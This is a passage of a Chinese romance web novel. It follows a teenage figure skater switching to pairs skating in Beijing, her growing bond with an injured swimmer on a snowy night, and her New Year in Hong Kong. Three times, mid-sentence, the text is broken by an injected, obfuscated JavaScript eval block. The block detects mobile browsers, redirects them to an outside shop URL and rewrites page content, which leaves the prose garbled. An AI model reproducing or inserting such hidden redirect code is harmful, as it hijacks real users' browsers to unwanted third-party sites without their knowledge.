接下来是步法,肌肉记忆促使自己直接滑着作为单人滑选手时的编排步法,这是练习了整整两个赛季的自由滑,不曾想在最后的转体处顿了一下。这一套步法下来能明显感觉到自己的体能已经消耗殆尽,她只能先滑到一边揉了揉膝盖这阵不适感和喉咙的压迫感退去。 她边上有个小女孩滑过,正在反复练习阿克塞尔一周跳。 钟梧攸直起腰对着小女孩的身影莞尔一笑,等到自己喉咙的压迫感一退去,她就开始进行跳跃训练。 单人滑跳跃和双人滑跳跃不一样,要关注搭档的起跳,还要把控好两个人之间的距离。今天练习了一天,她和搭档始终不在一个节奏上。 “双人滑不是让你们两个互相迁就,是让你们两个人变成一个人。“ 钟梧攸在心里头一直盘旋着这句话,这个两周半起跳的轴就不好,也在自己的意料之中摔了。她重新站起,又尝试了一下后外结环三周跳,跳跃或许根本没有足周,双腿落冰还险些没能站定。 工作日这个点商业冰场的客流量还算好,只有些上兴趣班的小朋友和零零散散的散客。 接着重复练习了勾手跳,这种冰场的制冰技术当然没办法和专业的训练馆比,滑的人一多,冰面上就有很多深浅不一的冰坑。这个三周跳落冰时就不慎落进了一个冰坑里,整个脚踝往边上一斜,反应过来的时候膝盖已经栽在了冰面上。 钟梧攸爬起来揉了揉膝盖,又做了几组连跳。气管又开始叫嚣,只能先滑去挡板休息,她靠着喝了一口水,平复下自己乱得毫无章法的心跳。 跳跃依旧有诸多瑕疵,但现下练习的感觉和白天在俱乐部时不一样。 “酣畅淋漓”,钟梧攸只能想到这个词去形容。 她又滑行到场子的中央开始练习跳跃,这次落冰时又是一个踉跄,但还好站住了。 又一组三周跳的练习结束,钟梧攸才停下来喘了会气,时间越晚冰场上的人越来越少,现在只剩下她和几个散客。 她的视线从冰面上的划痕往上偏移了些,看向了对面,隔着整个商场的中庭和来来往往的路人,她根本看不清站在对面的一张脸。 那个人好像肩上背着双肩包,正往冰场上看,好像看的人还就是她。 但怎么会在看到他时莫名生出了熟悉感? 8. Ch.8 钟梧攸觉得自己是在转组的第五天时才真正算是见识到了双人滑的真面貌。 前些天的跳跃和托举的训练在抛跳之下都被衬托得能摸到及格线了。 抛跳根本就是另一码事。 赵一轩握着她的手,两个人一起加速滑出去,接着她要被赵一轩抛起再做跳跃。 和以往练习的跳跃不一样,这次起跳前她觉得身体突然失重。下意识去做收腿的动作,但碍于节奏是乱套的,落冰的轴是歪的,整个人直接往下落,就这样直愣愣地摔在了冰面上。 “嘶。” 赵一轩赶忙滑过来扶她起来,钟梧攸摸了摸自己的尾椎骨,感觉自己刚才这个地方被撞得不轻。 “没事吧?” 她和这位新搭档咧了咧嘴,“我没事,再来。” 教练在边上喊了一声,“赵一轩刚刚抛高了昂,你们再调整一下。” 到了第四次钟梧攸有了前面几次的经验,落冰时脚终于是顶住了,但都没能站住,不是手撑地摔倒,就是撞到了挡板上摔倒。 直到今天的抛跳训练已经到了尾声,最后一个抛跳,她终于站稳了。 站住后收腿直起身来的那个瞬间她整个人是懵的,赵一轩也是。 两个人无声地对视了几秒,赵一轩先滑过来伸手和她击了个掌。 “太棒了姐。”他的语气听起来有些激动。 “终于成了。”钟梧攸要冷静很多,轻声说道。 接着两个人看着冰面上重重叠叠的划痕,相视一笑。 “今天先到这里吧。” 朱榆成在边上喊,“抛跳练得不错,明天继续。” 两个人依次滑到场边,钟梧攸正抬手喝水,赵一轩就在她的侧边,余光瞥到了她手腕上的一片青色。 “攸姐,青了。”他指着她手腕和手臂外的一侧,“你回去之后记得去找药酒揉开,不然时间一久瘀血没揉开会很痛,好的也慢。” 赵一轩只比钟梧攸小一个月,他因此就对她以姐相称。 “行,我记住了。” “再练一下抛跳吧,昨天最后磨合的还不是很好。” 赵一轩没意见,点了点头。 同龄的男生和她一样还在发育,现在已经比她高了一个头还多,钟梧攸需要仰头去看他,“那我们从最简单的开始?” 最简单的就是男伴扶起女伴的髋部托起,女伴在托举的半空中进行分腿的动作。 赵一轩是双人滑项目出身,只是因为刚和她搭档接触,默契度稍差,但各种动作都手到擒来。而钟梧攸新手入村,技术动作也一直僵着。 “攸姐,放松一点。” 但等到第二次赵一轩握住她的腰时她的动作还是硬的。单人滑的生涯太久了,肌肉的记忆难以一时间割舍掉,和赵一轩又进行了几个来回的训练,结束时她只觉得头皮发麻。 深吸一口气走出训练馆,北京已经入夜。 “中央气象台的天气预报说,今晚北京有可能会下雪欸。”赵一轩开口说。 “是吗?”钟梧攸不免有点期待,哈了一口雾气,掏出羽绒服口袋的口罩戴上,“好了,我们明天训练见。” 钟梧攸一个人往公交车站走。 北京冬天的威力不容小觑,她成天泡在室内的训练馆里还没什么感觉,一到室外冷风就从四面八方灌进来。她把脸往羽绒服的领子里缩了缩,戴上了口罩,里面呼出热气的反扑在脸上,眼睫下才有点潮热。 手臂的一侧有点发胀,刚才还没感觉,现在突突的疼。 站台上零零散散地站着几个人,大家都是统一的动作:缩着脖子在看手机。 钟梧攸找了个地方站着,等车上车坐车时脑子里全是今天训练时的画面。 尽管尝试了无数次,她的身体依旧放松不下来,动作也一直都是硬的。 这种感觉和她在滑单人滑时截然不同。 回过神来,车经过驶向的街景她很眼生,发觉根本认不出来,车靠站,钟梧攸看到站牌,又看向车厢内,她才终于意识到自己不是坐过站了,而是坐错了车。 她火速跳下了车,刚下车的冷风就把她吹得一阵哆嗦。 口罩里哈出的热气瞬间化成雾蒙在她的眼镜上,她索性把口罩拿下。 只能打开地图,跟着导航走去另一个站坐回头。 她上的是学知桥北方向的478路公交,这一站是北京航空航天大学站。 钟梧攸是个路痴,方向感极差,地图又爱绕小路,跟着导航走着走着,过了一个天桥,她就走到了北京大学第三医院的门口。 钟梧攸跟着导航绕了一圈,想放弃战斗,走到医院门口打车算了。 训练不顺利,回家时走神上错了车,现在又走错了路,怎么感觉她最近诸事不顺。 烦躁感油然而生,紧接着是一阵无助感翻涌上心头。眼角漫上了水汽,一排排的路灯在眼里瞬间化作了模糊的光带。 又有大风刮过,钟梧攸想,就连天气预报也在骗她。 天上黑压压的一片,今晚根本没雪! 她原本还挺期待的。 还没走到北大第三医院的牌子下,她就看到了一个熟悉的身影。 她继续往前走。 是何知澍。 何知澍站在北京大学第三医院的牌子下,他穿着被大家戏称是海淀区区服的黑色羽绒服,围了一条黑色围巾。 他们的距离现在大概只有三米不到,两个人对上了视线。 又有一阵风刮过来,钟梧攸哆嗦了一下,整个人缩起。 她再抬头,何知澍已经向她走了过来。 钟梧攸再次感叹游泳运动员的体型,她想他大概已经有一米八快一米九了。 “好巧。”这次是钟梧攸先开的口。 “怎么你来这里了?是训练受伤了吗?” 他们两个人的认识略过了一些步骤,也没问对方到底是怎么知道自己是哪个项目的。 “不是,要回家的,坐错了车,就走到这里了。” “坐错车了?”何知澍听后愣了一下。 “嗯,训练完走神了,然后发现之后就下车了,导航就带我走到这里了。” 钟梧攸一边说一边觉得自己蠢。 在北京训练一个月了,她居然能在每天回家的路上出岔子,跟着导航走也能走懵。 “你要去哪里,我可以带你走。” 钟梧攸递手机给他看导航的位置,何知澍点了点头,“再回头坐公交吧,我也算顺路,你跟我走就好。” 何知澍注意到了一侧的女孩一直在哆嗦着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531657|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体。 今晚比前几夜都要冷着,更别提她还在外面走了一会。 路过一家711,何知澍顿住,转过头对她说,“你等我一下。” 何知澍走进去,买了一杯温热的黑豆豆浆。 他拎着布袋走出来,直接递给了她。 “我看你有些冷,拿着暖暖吧。” 钟梧接过,热度隔着纸杯暖起了她的掌心,她确实觉得好受一点了。 “谢谢你。”视线忍不住乱瞟,最终落在了地上,路灯在顶上亮着,两个人的影子在地上交叠在一起。 走到车站,他们两个人并肩站在一起。 然后,钟梧攸感觉有什么凉凉的东西落在了她的脸颊上。 她抬起头。 在路灯的光束里,能明显地看到细小的白色颗粒正在纷纷扬扬地往下落。 “下雪了。”她说。 “是今年初雪。”何知澍抬起头,伸手接住几片,落在手套里很快就融了。 他转过头看向钟梧攸,她仰着脸,嘴角挂着一抹弧度,因为穿着白色的羽绒服,看不出来上面落了多少白。 她抿了一口热豆浆,双手紧握着纸杯。 见雪势渐渐大了,何知澍想了想,还是决定这么做。 他摘下了自己脖子上的围巾,望着钟梧攸空寥寥的脖子,“围巾,借你戴。” “我习惯了北京的天气,你别着凉了。” 钟梧攸没有接,两个人僵持了一会,她还是接了下来。 围巾上来自他的余温在两人僵持的一分钟里并没有散尽,围在脖子上时是一片温暖柔软。 要等的公交车到了,还好这条线现在有不少座位。 钟梧攸有一缕头发被夹在了围巾中,看着有些碍眼,何知澍示意她拨开,在钟梧攸伸手拨开头发的动作里她的袖口往下扯下了一些。 一片紫色。 “受伤了?”何知澍问她。 “嗯?”钟梧攸顺着他的视线看过去,看到露出的那一片紫色,意识到他说的原来是这里,“是今天训练摔到了而已,没事的。” 对方拉开了他的双肩包,递给她一只用到了三分之二的药油,“这个药油化瘀挺有用的,试试看?” “不用,我也有,我回去涂就好了。”钟梧攸拒绝了。 “这东西,越早揉开越好。” “这是我平时用惯的,比别的药油都管用。” 钟梧攸正想开口说什么,却看到他双手捧着那杯豆浆,径直说:“我帮你揉开,好吗?” 鬼使神差的,钟梧攸对上他的眼睛,竟然没有拒绝。 何知澍靠在公交的椅背上,这样狭小的空间显然是委屈了他的一双大长腿,有点无所安放。他把羽绒服的拉链拉到了最上面,还是露出了一截脖子,车窗外掠过一抹又一抹亮色,映在他脸上明明灭灭的。 他脱下了手套,药油在掌心搓热了再揉上她的手。 拧紧了瓶盖,他递给了她,“我还有,这只给你了。” “别的地方要是瘀了青了,像刚刚那个力度和手法揉开,很快就好了。” 公交的播报这一站是地铁林萃桥站,下一站就是京师园站。 钟梧攸低下头,摩挲着另一手里的药油,把它放到了羽绒服的口袋里。 9. Ch.9 何知澍和钟梧攸一起在京师园站下车,再分开坐两路公交。 雪依旧纷纷扬扬的,并不算是很大。两个人并肩往车站走,地上只有很薄的一层雪,踩在地上会发出轻微的摩擦声,但这点微小的声响夹杂在车流声中几乎可以忽略不计。 她记得全运会后自己在网络上搜索他的时候,新闻媒体说他是因腰伤才不得不退赛缺席那场混合泳的。不想在正主面前暴露自己在关注他的情况和比赛,那句“你腰伤还没有好吗?”最终还是没有说出,而是转为了一句明知故问的话。“话说你怎么在医院,是受伤了吗?” 话刚说完,她就后悔了。这话说的未免太显笨拙了,毕竟谁会在工作日的这个点往医院跑。 “欸,是老毛病了。” 他的语气很平缓,就像是在说今天天气有点冷这样的寻常小事,“可能,就再也不会好透了。” 职业运动员坚持下来的过程中都是在拿自己的身体拼命,拿健康做赌注,大多都逃不过提前透支身体健康这个命题。受伤就要休息,一练就会又受伤,周而复始,最后就会演化成顽疾。 他们每个人都心知肚明。 同为运动员,钟梧攸对此感同身受,一时之间说不出话来回应,只是仰头侧目去看他。他们站在雪里,路灯向下打过来,从她的视角看过去,何知澍的轮廓被照得半明半暗。 她看过他比赛的录像,现实里接触的时候他是没有在赛场上待人接物的那种疏离感的,像街坊邻里很有亲和力的大哥哥。 四大洲花样滑冰锦标赛即将开赛,这次的比赛地点就在北京,速滑馆边的这条路上的广告牌全是四大洲的海报。 察觉到身侧的钟梧攸放缓了脚步,何知澍便顺着她的目光看了过去,广告牌上打了灯,海报上定格的选手们身上都泛上了一层光。 “你什么时候升组来着。”何知澍问道。 “27年。”钟梧攸念出了这个烂熟于心的数字。 她等这一年太久了,明明从时间上出发已经近在咫尺,却还是隔了咫尺天涯的距离。 “等你升组之后大放异彩,比赛的海报里也会有你的身影。” 钟梧攸看着那张海报,听他这么说,只是嘴角弯了一点弧度,几乎察觉不出,“或许吧。” “什么叫或许,到时候说不定还会有你的单人海报。” 不是祝愿,像在说一个既定事实,她在他的一席话间听到的满是笃定。 但在自己这句话说完之后,何知澍顿感钟梧攸的笑是一抹苦笑,夹杂着迷茫和无奈,是因为最近的状态不好,让她对自己的职业生涯感到怀疑,进而不自信了吗?鼓励的话正准备脱口而出,钟梧攸却已经先开了口。 “其实我转组了,现在在练双人滑。” 没有带上任何情绪,轻飘飘的一句话,听起来都怕被雪淹没。 “所以大概,可能不会有我的单人海报。” 她的视线依然停留在广告牌上。 “你怎么想。” 怕是伤病,怕是队里的安排,怕是她被迫接受。 事实上他们真正能拿主意做主的事情很少。 所以没问她是为什么做出这个决定,也没问她是怎么下定的决心,只是问问她现在怎么想。 她似乎是因为没想到他会这么问,怔了几秒后才做出回答,“就只是想,我其实还是想滑下去的。” “而且有需要我的地方,我会尽我最大的努力去做。” 有雪落在了她的发间,沾染上了点点白,钟梧攸并没有去理会,只是看着路面上的车流。 她没有再说别的,肩膀微微缩着,那条围巾被她绕了两圈,把下巴都埋进去了一半。 一辆辆车驶来又离开,他们要等的公交车都还没到。 何知澍沉默了几秒没说话,他把手从口袋里抽出,接住了一片雪花,又重新揣了回去,很轻地和她说,“想滑下去那就行。” “还有想坚持的心就够了。” 见过她在赛场上的表现,和练习的样子,何知澍熟悉她身上所蕴有的韧性,这样摔倒后能一次次站起来再尝试的勇气,和他所见过的能练出成绩的运动员一样。 他能看出,钟梧攸并不是轻易服输的人。 雪落在他的眼睫上,他没去理会,转过头看向她,“有这颗心就行。” 他没说“你的话一定可以的”,也没说“这样也不错”。未来不确定的事情太多了,谁也不知道会不会有什么别的变故,或是会不会后来就突然转变了想法。 不知道的变数太多了,运动员不敢轻易展望未来,空谈未来是太虚无缥缈的事。 把握住现在,当下有这颗心就足够了。 “那你呢?”钟梧攸的嘴角还挂着一点笑意。 她一抬起头,他们就对上了视线。 “游啊,继续游下去。”他只是将早就做好的决定脱口而出。 这是他入选市队时就确定好的事,伤病可以咬牙坚持,低谷也可以熬过去,前提是他不动摇,他得坚持下来。 “那我一直支持你比赛。” “我会一直看你游。” 女孩的眼睛亮晶晶,眼睛被冷风吹得有些发红。 像只小兔子,何知澍甚至联想到了她粉丝做的兔塑混剪。 “我也会一直支持你。” 话音刚落,两个人都愣了一下,但谁都没有先开口,只是互相看着彼此。 雪不断落下,落在街上,落在他们的肩上,落在站台上。雪和风发出的簇簇声、周围的车流声和行人隐隐约约的说话声一时之间都被隔绝在外,他们所感受到的世界一下被缩小在这方寸之间。 两个人相顾无言,但是似乎都已经和对方回应了那一句“好的”。 何知澍转头看了一眼,有几个亮灯的数字在不远处晃动,他眯了眯眼看清了那个数字,抬手示意钟梧攸,“你要等的车到了。” 确实是她要等的车,钟梧攸往前腾了两步又停下回看他,她理了理有些卷了的头发。随即莞尔一笑,“今晚谢谢你。” 何知澍还停留在原地,他的手还揣在口袋里,在她看不见的地方一次次摩挲着手机。 车的距离又靠近了一些,他也往前迈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531658|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两步,又将两个人的距离拉回刚才那样,只隔了三五步。 “我们加个微信吧。” 或许有些唐突,但他已经准备好了迎接她的错愕和被拒绝的可能,毕竟他们只是偶遇了几次,还算是陌生人。 钟梧攸只是弯了弯那双眼,“嗯,好呀。” 二维码刚扫上,钟梧攸扯了扯脖子上的围巾想要解开还给他。何知澍摆了摆手,让她先戴着回去。 “那等什么时候我们都有空,我把围巾还你,或者送个快递给你。” 公交车已经停在了他们面前,听见车门打开的声音钟梧攸转身上车,在踏上去的一瞬间,她听见何知澍说,“下次见。” 上车后她找了个靠窗的座位,何知澍还站在站台上看着她这边。 于是她和他挥了挥手。 他也挥了挥手。 车越来越远,他最终在自己的视线里化成一个墨点,最后被雪吞没,钟梧攸刚收起视线,就收到了一条信息。 来自那个刚添加的好友。 【及时雨:到家了说一声】 他的头像背景是淡蓝色,是一只游鱼。 还挺契合。 钟梧攸走到公寓楼下时就已经给何知澍回复了一句已经到了。回到家之后先是和外婆说自己今天是因为坐错车的缘故才折腾了这么久。 发间沾了没化完的冰晶雪粒,因为她也后面没戴上口罩双颊也被吹的通红,外婆握住了她冰冷的手让她赶紧去洗澡休息。 洗完澡后她背了会单词,然后复盘了一下今天的训练。 无论多累都要看训练录像复盘再记训练日志,这是她这么多年一直保持下来的习惯。 等到她做好这些集中的注意力才开始涣散,视线移到了旁边的飘窗上。 刚刚去洗澡之前羽绒服被她脱下后只是随手一放,钟梧攸起身去把衣服挂在架子上,口袋的那只还没有巴掌大小的药油滑落在毯子上。 钟梧攸拾起摩挲着瓶身刻着字的凹凸处,心里的某个地方渗进来了一股暖意。 他们并没有揭开对一些事情展开交流,也跳过了自我介绍这个认识的步骤。 在她训练完,他做完理疗离开医院的这个雪夜里,两个人就像是走在森林迷雾里偶遇的两头小兽,并没有像对方展示伤口,只是说顺路,所以一起走了一段路。 他察觉出她穿得少、感觉冷,便把温度分给了她。 看她的手腕紫了块,把自己用了有效果的药油分给了他。 他们什么都没说,却又什么都说了。 钟梧攸撸起袖子,像何知澍那样把药油放在掌心,用两只手合起来搓热再按上瘀青那处。 揉完后她洗了洗手,收拾完明天要用到的东西后她把药油放在了床头柜上,和那条围巾并放在一起。 得改天找个时间还给他。 钟梧攸翻了个身,把脸埋进枕头,摸出了放在被窝里的手机。 微信又多了一条信息,还是来自他。 【及时雨:加油】 想了想,钟梧攸决定回一句:【Joy:你也是】 10. Ch.10 这是钟梧攸在北京过的第一个冬天。 年纪还小的时候随父母在欧洲奔波,搬家转学是常有的事,对每个城市的印象更像是在集邮,就只是在日记本里用几秒钟按下的邮戳,并不会有什么长久的记忆。到了该上学的年龄回国,她又跟着外婆长住香港,香港这一带的冬天通常只是批了一个冬天的幌子,于是再次衬托下钟梧攸只觉得今年在北京过的这个冬天显得格外漫长。 钟梧攸站在冰场边上做拉伸,赵一轩还没到。她将目光投向冰场上正在搭档滑行的两个人,这是冰协目前重点培养的一对。 “我来了姐。” 赵一轩背着包火急火燎地跑来,“不好意思今天我来晚了。” “不碍事。”钟梧攸摆了摆手。 她弯下腰去解冰鞋上的冰刀套,做这个动作时无意之中扫到了自己的手腕处。出门前在房间看到放在床头柜的那只药油,想起那个人的一番话,便拧开揉了一番才出门。 确实没有瘀得太恐怖。 教练还没来,她和赵一轩先热身熟悉。 “先练一下抛跳?”钟梧攸一边给自己带上手套一边说。 “行。” 她切身体会到双人滑和单人滑最截然不同的地方就在于,你要再多对一个人负起责任。要去习惯搭档的身体,要把控好两个人的呼吸和节奏,要合拍到能卡住彼此的发力点,要和对方心领神会。 第一个抛跳,没抛出去。 第二个,两个人都被对方绊倒。 第三个,钟梧攸摔倒。 她没吭声,爬起来笑着搭上赵一轩递过来的手,“这可是我们今天第一个抛起来的跳跃。继续加油。” “嗯。继续加油。”赵一轩握住她,开始滑行准备下一个抛跳。 又连续失误了好几个,钟梧攸终于在教练赶来之前站住了一个。 赵一轩滑过来,顺着和她相握住的手心看过去,她的膝盖、手腕、手肘分布了大小不一,深深浅浅的淤青。 旧的没褪,新的不断添上。 今天是新的技术动作练习,联合旋转。 他们的节奏一直没能同步,旋转是赵一轩的短板,燕式浮腿,蹲姿还不够。 教练没喊停,他们就再来。 又是一组。赵一轩的呼吸还没喘,钟梧攸顺势松开他的手,“要不,你单独做一下蹲踞转试试看?” 联合旋转除了默契问题,大多问题出自赵一轩的技术动作。赵一轩点了点头说好,看向钟梧攸时,眼里藏不住歉意 “没事的,再多来几次。” 钟梧攸滑到边上的挡板处,赵一轩的旋转确实存在着太大的问题。重心偏离腿不稳,转速也不快,一快他的动作就会变形会晃。 新年将至,冰协集训的日子很快就要结束了,过完年回来之后他们会转至俱乐部进行训练。 等到那个时候,就又要开始展望新赛季了。 钟梧攸下了冰场,脱下手套。赵一轩找到她,从包里拿出一块黑巧递给她,坐在了她身后的那张长椅上。 他一手环在胸前,一手托着腮,视线看向窗外,却向钟梧攸问了一个问题。 “以前在单人滑的时候,会想到今天这样吗?” “那当然没有了。” 竞技体育是个瞬息万变的东西,她也曾痴心妄想展望过未来,也只能将每一分期待值都尽数倾注在训练场上。 在升组前被迫接受转双人这个事实,她却实迷茫过,但这种状态并没有持续多久。 短暂到什么程度,短到只有从训练馆回到家的通勤半小时里。 只要能滑下去,她就不后悔。 赵一轩没有再向她问问题,只是喃喃着一些他的碎碎念。 教练已经离开,其他队员也已经结束训练,冰场上只剩下他们两个人,太空旷,太安静,赵一轩的一字一句都落得极为清晰有力。 “父母是国内很优秀的双人滑运动员,所以在大家看来,我成为花样滑冰项目的运动员,或是成为双人滑运动员是按部就班、自然而然的事情。” “我不厌恶滑冰。” “但我无法达到我爸妈那样耀眼的成立,但只要我还是他们的儿子,我还站在赛场上,就无法摆脱他们的光环。” 钟梧攸没说话,听他继续说了下去。 赵一轩发出了一声轻笑,“其实我在想,要是我不是他们的儿子就好了,我就不用一直被拿出来作比较。” “那你呢?想滑下去吗?”钟梧攸将手套放回包里,和他对视上。 “我不知道。” “我不知道除了滑冰,我还应该干什么。” 钟梧攸只让冰场静了几秒,“如果不知道的话,那其实更应该问自己,找一找自己想干什么。” “我还想滑下去,于是我还是站在了这里。这里有练双人滑或许会比继续单人滑好一点的因素在,我不确定,但是我想滑下去,所以我来试一试。” “叔叔阿姨的传奇和成绩,只是他们的辉煌和历史。让你一时间放下包袱这很难,但是你得想通这件事。” “想想,自己究竟想要什么。” 晚上七点半,赵一轩也离开了冰场,只剩下钟梧攸一个人。 她已经习惯了这样的环境。 香港的训练馆进行专业职业训练的人一年比一年少,她和Tara在冰场就时常是包场的状态。 更衣室只亮了一盏灯。 钟梧攸坐在长凳上解开冰鞋,她的脚踝在发育之后就一直都是负伤的状态。 最近抛跳和跳跃都练得太猛了,现在看上去脚踝肿的比昨天还要明显一点。 轻车熟路地拿出喷雾处理,贴好药贴,穿好雪地靴和外套离开训练馆回家。 协会今天和他们商量了下个赛季报名的事情。 以她和赵一轩的水平,只能参加国内的联赛。 先是八月的俱乐部联赛。 她点开手机,和教练报备了自己的个人信息才把手机揣回口袋。 冷风一个劲地灌,冷得钟梧攸又是一颤。 北京的冬天真的冷,真的很长。 但是等到她年后回来,春天也快来了。 香港的冬天向来是骗人的。 大多数时间里和北方的初秋是差不多的温度,落地后钟梧攸先去更衣室脱下厚重的羽绒服和秋裤,换上了针织薄外套和牛仔裤的穿搭。 只有维港的海风吹上来感受到的那点冰凉,才勉强会让人有些冬天的实感。 钟梧攸站在街口的烧腊店,手里拎着的是外婆最喜欢的珍妮小熊曲奇饼,对着手机备忘录按照外婆的吩咐买一份叉烧和半只烧鹅。 这是一条美食街,混合着甜香和药材汤的味道,整条街热气腾腾,让人觉得暖烘烘的。 每年的春节爸爸妈妈都还是会在国外工作,今年也照旧只有她和外婆两个人。 外婆虽然年纪大了,手艺却是一点没丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531659|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老一辈人对逢年过节还固守着他们那一份执着,即使家里只有两个人,最后还是有满满一桌子的八个菜。 又是一系列老生常谈的话术。 “食唔晒?。” “过年就系要咁样。” 钟梧攸笑笑,摆好两幅碗筷和外婆坐下。 祖孙两人开了一只椰子汁。 “梧攸,外婆祝你,新的一年在赛场上一切顺利,无忧无虑,开开心心的。” 去维港人挤人看新年烟花也是每一年的固定项目,她和沈望舒吃完年夜饭后就会一起过去。 今年的年味其实并不浓,维多利亚港的两岸倒是人不少。 两个人只能找到一个偏一点的位置。 海风吹过来,带着特有的咸腥气息和潮湿感。 “在北京怎么样?” “冷啊。” 沈望舒笑着拍了她一下,“你知道的,我不是问你这个。” 钟梧攸也笑了,“倒也是真的冷。” 对岸的灯碎在波浪中,她看着海面上的波光粼粼。 比烟花秀的第一缕烟花先开始绽放的,是众人往上举起的手机屏幕。 钟梧攸仰头去看那无数朵金色的花,她搬来香港以后每一年都会来看烟花秀,加之如果不踮起脚高举手机,她的摄像头里将会有太多人的手机屏幕入镜。她光是想着就已经失去了举着手机录像出片的心态,于是只用肉眼欣赏,切身体会氛围就好。 出门前手机被调成了响铃模式。 连续响了两声,钟梧攸决定拿出来看。 【及时雨:除夕快乐】 【及时雨:回家过年了吗?】 她看着那两句信息,嘴角不禁上扬。 【Joy:回去了】 钟梧攸把手机上举,拍了一张烟花的照片。 拍得不是很好,有些残影。 【及时雨:好漂亮!】 【及时雨:合理怀疑你在诱惑我,北京全面禁燃烟花】 大脑并没有进行过多的思考,钟梧攸拨了一个视频电话过去。 何知澍没几秒钟就接了。 摄像头翻转,对上维港上的这片天空。 金橘色的光线在黑幕中拉出一道道弧线,绽出了层层叠叠的一片花海。 直冲向上划过天际,最终坠入海面。 钟梧攸只懊恼她今天没和沈望舒占据一个好位置,无法拍好眼前的盛大光雨。 她一直盯着镜头里的烟花看,刚错开视线,就对上了那头小窗里何知澍的脸。 他专注地看着。 这样乍一看,就好像他在看着自己一样。 灵魂在外游走了一番,回来时听到了心脏跳动的声音堪比此时维港烟花的轰鸣。 她处在一个如此嘈杂喧嚣的环境,说一句话他在那头大概也听不清。 烟花转瞬即逝,那些光落入海里被揉碎再揉碎,只能通过黑幕里短暂残留的白烟找寻到一点它们存在过绽放过的踪迹。 “何知澍,你要做永远不灭的那一簇。” 最后一缕金丝溶在夜幕里,钟梧攸挂断了视频电话,随着人潮往外走。 她和沈望舒在人潮里拉着手,避开了对方一脸的揶揄和笑意,也没掏出口袋里的手机。 直到回到家。 钟梧攸背靠着门,点开了和何知澍的对话框。 【及时雨:要继续做冰场上最炽热,最耀眼的存在】 11. Ch.11 【及时雨:你什么时候会回来北京训练】 钟梧攸的食指和拇指的指尖搓了搓,暗想他是不是在和自己说还围巾的事情。 【Joy:四月初左右吧】 【Joy:不过那个时候你应该很忙?围巾我回头寄个快递给你好了】 聊天框上方的备注变为对方正在输入中…这五个字停留已久,钟梧攸的心也止不住砰砰地跳。 不知道怎么形容,说是心慌的感觉又不太贴切,只是像有一只手攥着她的心口,一时之间勒得她整个人有些无力。 上方还显示着“对方正在输入中”的字样。 钟梧攸将手机熄屏,客厅的电视机里在放春晚,是一个小品节目。 大概是进行到了笑点和高潮,电视里传来了观众席里此起彼伏的笑声和掌声。 她坐在外婆旁边跟着看了一会,可能是因为节目台词有些无厘头,也可能是因为她没看前半部分,所以她的注意力始终聚焦不到节目上。 她点开手机。 【及时雨:想什么呢】 【及时雨:是我三月在深圳有一场比赛,想问你如果没回北京训练的话】 【及时雨:来吗?】 【及时雨:来看我的比赛怎么样】 钟梧攸咬了咬下唇。 【Joy:好,我到时候看看】 -- 年初三,钟梧攸在家附近商场的冰场恢复了上冰训练。 没有教练,没有搭档,只有她自己一个人。 没有搭档在身边,她的个人训练多数会以步法和跳跃展开。 春节期间的冰场有些冷清,也正如她如愿。前台的工作人员已经认识了她,笑着走到她身边,“今天也还是滑到晚上?” 钟梧攸换上冰鞋,点了点头。 “工作站岗的时候还能看到你这样质量的滑冰,真的是赏心悦目。” “你是个职业选手吧?加油啊。” 她和工作人员致谢,先来到场边架好支架和手机。 身边没有教练和搭档的时候,她整个人反而更能静下心来去专注地通过录像来抠自己的一些细节。 在集训期间落下的单人滑技术也可以得到一点点弥补。 她决定试试她的三周套。 通过回放录像显而易见地看出这个后内结环三周跳她简直是在拿跳四周的起势在跳,轴是歪的,落冰很危险,但是她站定了。 并且站定之后还能连上一个后外点冰三周跳。 滑出站定之后又试了试后外三周。 钟梧攸站起来的第一件事是先滑入了场边看录像。 周数倒是差不多了。 一句以“终于”开头的句子终于得以由衷地说出。 脚踝那阵熟悉的酸痛感又开始泛上来,钟梧攸下意识低头去看,脚踝没有肿胀,任凭细针正往里钻的刺痛感,她松下一口气,直呼还好。坐到一边的长椅上,动作有些暴力地解开冰鞋的松紧带。拿捏好力道往疼痛处一按,乍来的疼痛感让她迅速抽了一口凉气。她从包里的夹层翻出一只喷雾往上喷,喷雾所携带的清凉感刺激着伤口,生出了令人清醒的痛感。 三周套居然做得还不错。 钟梧攸盯着自己的脚踝开始发呆。 手机设的闹钟响起,钟梧攸拿起来关掉时看到上面的备注才想起来这是她为了抢游泳公开赛设的闹钟。 